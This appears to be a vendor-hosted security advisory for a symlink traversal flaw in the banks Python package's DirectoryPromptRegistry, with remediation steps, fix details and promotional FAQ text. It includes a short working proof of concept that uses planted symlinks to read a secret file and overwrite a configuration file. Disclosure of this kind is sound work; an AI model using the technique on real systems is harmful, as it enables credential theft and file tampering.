Summary
Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry
In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().
Details
Following PR #77, DirectoryPromptRegistry validates path resolution for prompt names. However:
self._index_path(index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by_save()uponreg.set(), or read via_load().- In
_scan(), discovered.jinjafiles are opened and indexed without checking ifpath.is_symlink()or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed. - In
set(),prompt_file.write_text(...)is called without checking ifprompt_fileis an existing symbolic link pointing outside the root.
Proof of Concept
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt
# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")
os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)
# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
Impact
Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- In
_validate_index_path(): verify_index_pathis not a symlink and resolves within_path. - In
_scan(): rejectpath.is_symlink()and checkpath.resolve().is_relative_to(root). - In
set(): reject existing symbolic links before writing.
A tested fix and regression tests have been prepared and pushed to:
https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting
Frequently Asked Questions
- What is CVE-2026-107716? CVE-2026-107716 is a medium-severity path traversal vulnerability in banks (pip), affecting versions <= 2.5.0. It is fixed in 2.5.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- Which versions of banks are affected by CVE-2026-107716? banks (pip) versions <= 2.5.0 is affected.
- Is there a fix for CVE-2026-107716? Yes. CVE-2026-107716 is fixed in 2.5.1. Upgrade to this version or later.
- Is CVE-2026-107716 exploitable, and should I be worried? Whether CVE-2026-107716 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-107716 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-107716? Upgrade
banksto 2.5.1 or later.